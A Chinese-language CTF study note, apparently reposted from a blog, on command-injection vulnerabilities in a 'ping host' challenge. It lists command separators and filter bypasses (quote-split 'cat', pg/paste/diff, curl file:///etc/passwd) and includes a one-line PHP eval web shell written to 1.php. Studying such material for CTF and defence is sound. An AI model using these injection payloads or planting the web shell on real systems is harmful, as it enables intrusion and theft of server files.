WEB安全技能树-安全漏洞类型-命令执行漏洞

news2025/2/26 14:55:57

题目类型

环境:CentOS+Apache+PHP+MySQL

题目:ping主机


考点分析

1.过滤 ; && || 等多条命令连接符;

2.过滤cat more less等文件读取命令;


解题思路

第一步 ping 127.0.0.1 看看命令是否能够正确执行

  • linux如果不指定-c 会一直ping下去
  • windows默认ping4次

第二步 ping 127.0.0.1;whoami 看看是否过滤; 如果未过滤 直接执行第三步 如果过滤了 尝试&& ||

  • Linux
    • ; && ||
  • Windows
    • & && ||

第三步 ping 127.0.0.1;cat key.php 看看是否过滤cat等 如果过滤了 尝试pg curl等

  • Linux
    • 通常如下命令被过滤:cat、tac、rev、more、less、head、tail、nl、ob   
    • 通常如下命令未被过滤: pg、paste、diff、curl
      • curl 由于需要key.php的绝对路径 所以 还需要先pwd 然后再curl
  • Windows
    • type

基础知识1:执行系统命令接口

执行系统命令接口

php

  • system
  • eval
  • exec
  • shell_exec()


基础知识2:连续执行多条命令

Linux连续执行多条命令(Linux连续执行多条命令 - xngeer - 博客园)(Linux 有哪些命令连接符?_Sunny04的博客-CSDN博客_linux命令控制台 连续符)

    • a;b;c;d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
    • 示例:echo 1;echoo 2;echo 3;echo 4
  • &&
    • a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
    • 示例:echo 1&&echoo 2&&echo 3&&echo 4
  • ||
    • a||b||c||d 只有前面命令执行失败,才会执行后面命令
    • 示例:echoo 1||echo 2||echo 3||echo 4
  • & 后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
    • 示例 root@ubuntu: d & e & f
              [1] 14271
              [2] 14272
    • 后台执行任务d和e,而在前台执行任务f. shell将作业数目显示在方括号[ ]中,同时还显示了在后台运行的每个进程的PID(process identification,进程标识)编号。在f结束后就  会立即得到一个shell提示符,此时d或者e还可能尚未执行完毕。
  • | 管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
    • 示例 root@ubuntu: x | y | z
    • 在第1个作业中,shell将任务x的标准输出重定向到任务y的标准输入,同时还将y的标准输出重定向到z的标准输入
  • > 重定向 命令没有回显 可以重定向到一个文件 然后再把这个文件读取出来 就相当于可以查看命令执行结果了

Windows连续执行多条命令(Windows7环境下命令行一次运行多条命令_automation13的博客-CSDN博客)

  • &
    • a&b&c&d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
    • 示例:echo 1&echoo 2&echo 3&echo 4
  • &&
    • a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
    • 示例:echo 1&&echoo 2&&echo 3&&echo 4
  • ||
    • a||b||c||d 只有前面命令执行失败,才会执行后面命令
    • 示例:echoo 1||echo 2||echo 3||echo 4
  • |
    • a|b

 


基础知识3:查看文件命令

Linux查看文件命令(linux 浏览查看文件more,less,head,tail,cat,tac,od,nl命令使用简介 - 一苏沨来 - 博客园)

如下命令通常被过滤

  • cat 由第一行开始显示档案内容(concatenate)
    • c'a't
    • c"a"t
    • ca\t
  • tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
  • rev 行号不反向、行内容反向读取文件内容
  • more 一页一页的显示档案内容
  • less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
  • head 只看头几行
  • tail 只看尾巴几行
  • tailf 
  • nl 显示的时候,顺道输出行号
  • od 以二进位的方式读取档案内容
  • bzmore
  • bzless
  • bzdiff

如下命令通常未被过滤(考试重点)

  • pg 分页显示文件内容,page的缩写
  • curl
    • curl file:///etc/passwd
    • curl file://C:/Windows/win.ini
  • paste 用于合并文件的列
    • paste ./key.txt /etc/passwd
  • diff 用于比较文件的差异
    • diff ./key.txt /etc/passwd

如果不能读 可以考虑写(没听懂)

  • echo '<?php @eval($_POST['cmd']); ?>' > 1.php
  • wget 自己写一个 wget下一个

Windows读取文件命令

  • type

windows

1.cd /d e:/1.txt

2.某个目录地址栏输入cmd 直接在当前目录打开cmd


CTF命令执行及绕过技巧

CTF命令执行及绕过技巧_JBlock的博客-CSDN博客_ctf 命令绕过

RCE的Bypass与骚姿势总结

https://www.ershicimi.com/p/8686da2df137de562a0e61eaeefd2f52

检测命令注入时没有回显

检测命令注入时没有回显_小 白 渣的博客-CSDN博客_ctf 模板注入 不回显

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/39430.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java第35期】:Bean的生命周期

作者&#xff1a;有只小猪飞走啦 博客地址&#xff1a;https://blog.csdn.net/m0_62262008?typeblog 内容&#xff1a;1&#xff0c;这篇博客要分析Bean生命周期有几个阶段? 2&#xff0c;每个阶段的效果是什么? 3&#xff0c;PostConstruct 和 PreDestroy 各自的效果是什…

如果线性变换可以模仿

&#x1f37f;*★,*:.☆欢迎您/$:*.★* &#x1f37f; 正文 如何模仿一个 行为 假设这个行为是线性变换 A 通过权重w 变换为 B 假设可以通过 如下方式 模仿 A变换到B 线性变换 让 C 变换 D首先 计算A C 的距离 dx 计算 B D 的距离 dy假设 w 是通过等差求解权重的方…

(附源码)计算机毕业设计Java搬家预约系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis Maven Vue 等等组成&#xff0c;B/…

Elon Musk 与开发者分享他的第一份代码评审

Elon Musk 比以往任何时候都更致力于 Twitter 2.0 的成功&#xff0c;与开发者分享他的第一份代码评审。 原文 https://ssaurel.medium.com/more-committed-than-ever-to-making-twitter-2-0-succeed-elon-musk-shares-his-first-code-review-a565e8df5e2f 前言 Elon Musk 也是…

第8讲:Python中列表的概念与基本使用

文章目录1.列表的概念1.什么是列表1.2.列表中元素的索引概念2.列表的简单定义3.获取列表中某个元素的索引3.1.如何获取列表中某个元素的索引3.2.各种场景获取列表中元素的索引4.使用运算符in检查列表中是否存在指定元素1.列表的概念 1.什么是列表 Python中的列表其实就是其他…

骨传导蓝牙耳机哪个品牌好,骨传导蓝牙耳机品牌推荐

在选择骨传导耳机时还不知道选择什么品牌好&#xff1f;下面小编就给大家推荐几款做的不错的骨传导耳机&#xff0c;大家要注意&#xff0c;在选择骨传导耳机时&#xff0c;还是要选择一些较大的骨传导品牌&#xff0c;这样无论是耳机体验还是售后服务都有保证。 1、南卡Runne…

【机器学习入门项目10例】(八):贝叶斯网络-拼写检查器

🌠 『精品学习专栏导航帖』 🐳最适合入门的100个深度学习实战项目🐳🐙【PyTorch深度学习项目实战100例目录】项目详解 + 数据集 + 完整源码🐙🐶【机器学习入门项目10例目录】项目详解 + 数据集 + 完整源码🐶🦜【机器学习项目实战10例目录】项目详解 + 数据集 +

pagination分页插件的getResult明明有数据,但是getTotal方法为0

最近把之前毕设的SSM项目改成SpringBoot项目时遇到了明明后端数据库查询到了数据&#xff0c;但是page的getTotal方法却是0的bug 解决办法&#xff1a; 先导入需要的依赖&#xff0c;这里注意ssm项目的依赖和SpringBoot的依赖是不一样的&#xff0c;这个只要导入极少启动依赖…

视频 | 扩增子文库拆分和16S序列合并

点击阅读原文跳转完整教案。基因组中的趣事&#xff08;二&#xff09;- 最长的基因2.7 million&#xff0c;最短的基因只有8 nt却能编码基因组中的趣事&#xff08;一&#xff09;&#xff1a;这个基因编码98种转录本1 Linux初探&#xff0c;打开新世界的大门1.1 Linux系统简介…

Strimzi Kafka Bridge(桥接)实战之二:生产和发送消息

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 本篇概览 本文是《Strimzi Kafka Bridge(桥接)实战之》系列的第二篇&#xff0c;咱们直奔bridge的重点&#xff1a;常用接口&#xff0c;用实际操作体验如何用…

27. Ubuntu 20.04 开机自动挂载文件/etc/fstab

自动挂载文件/etc/fstab1.fstab2. 参数含义3.开机自动挂载3.1 查看要挂载的磁盘UUID3.2 向fstab文件中添加不同于热插拔的设备&#xff0c;对于硬盘可能需要长期挂载在系统下&#xff0c;所以如果每次开机都去手动mount是非常痛苦的&#xff0c;当然Ubuntu系统的GNOME桌面自带的…

Map学习笔记——深入理解ConcurrentHashMap

ConcurrentHashMap 是我们日常开发中使用频率最高的并发容器之一了&#xff0c;具有如下特点: 基于JDK8分析 存储结构和HashMap一样&#xff0c;都是数组 链表 红黑树是线程安全的容器&#xff0c;底层是通过CAS自旋 sychronized 来保证的key 和 value 都不允许为空&#xf…

【华为OD机试真题 python】叠积木【2022 Q4 | 200分】

■ 题目描述 【叠积木】 有一堆长方体积木,它们的长度和宽度都相同,但长度不一。 小橙想把这堆积木叠成一面墙,墙的每层可以放一个积木,也可以将两个积木拼接起来,要求每层的长度相同。 若必须用完这些积木,叠成的墙最多为多少层? 如下是叠成的一面墙的图示,积木仅…

太强了,全面解析缓存应用经典问题

1、前言 随着互联网从简单的单向浏览请求&#xff0c;发展为基于用户个性信息的定制化以及社交化的请求&#xff0c;这要求产品需要做到以用户和关系为基础&#xff0c;对海量数据进行分析和计算。对于后端服务来说&#xff0c;意味着用户的每次请求都需要查询用户的个人信息和…

jdk-synchronized源码学习

synchronized介绍java中jdk1.6之前和jdk1.6及之后synchronized完全不一样。1.6之前直接上来都是重量级锁导致java的性能很低效&#xff0c;而1.6及之后甲骨文公司对其进行优化&#xff0c;通过一个锁的升级过程从而来支持一些非复杂的场景。那么本文主要是针对synchronized的源…

Java并发-ThreadLocal的使用

ThreadLocal 概述 当使用 ThreadLocal 维护变量时&#xff0c;ThreadLocal 为每个使用该变量的线程提供独立的变量副本&#xff0c;所以每一个线程都可以独立地改变自己的副本&#xff0c;而不会影响其它线程所对应的副本。当多个线程操作这个变量时&#xff0c;实际操作的是自…

python实现熵权法

原文&#xff1a;https://mp.weixin.qq.com/s/vPNPdbZy11q1qsfEz9etZQ 1 熵权法简介 熵源自于希腊语 “ 变化 ” 表示变化的容量&#xff0c;德国物理学家克劳修斯为了将热力学第二定律格式化而引入熵的概念 。 熵的概念来源于热力学&#xff0c;是用来描述过程的不可逆现象…

sql注入手法详解

sql定义 sql--结构化查询语句 sql注入&#xff1a;首先我们通过前端将我们的payload(恶意代码)传送到后台服务器 传送到后台以后 我们提交的payload拼接到sql语句中 作为sql语句的一部分被执行 从而导致数据库又被脱库甚至删库的风险 使得数据库受损 sql注入手法 sql注入可…

领悟《信号与系统》之 非周期信号的傅里叶变换及性质

非周期信号的傅里叶变换及性质一、非周期信号的傅里叶变换二、 典型信号的傅立叶变换1.单边指数信号2.偶双边指数3. 矩阵脉冲信号4. 奇双边指数5. 符号函数6. 冲激信号7. 阶跃信号三、常用傅里叶变换表这里记录的信号都是非周期信号的傅里叶变化&#xff0c;频谱变换的特点就是…

VsCode 配置eslint,支持typescript的语法检查,及时发现低级语法错误,包括函数未定义等行为

背景 最近学习cocos的小游戏制作&#xff0c;参考游戏管理器的代码进行调试的时候&#xff0c;发现自己运行的结果一直都是跟官方效果不一样&#xff0c;没有自动生成更多的方块。肉眼检查代码差异&#xff0c;基本上代码是一样的&#xff0c;浏览器页面调试的时候也看不出问题…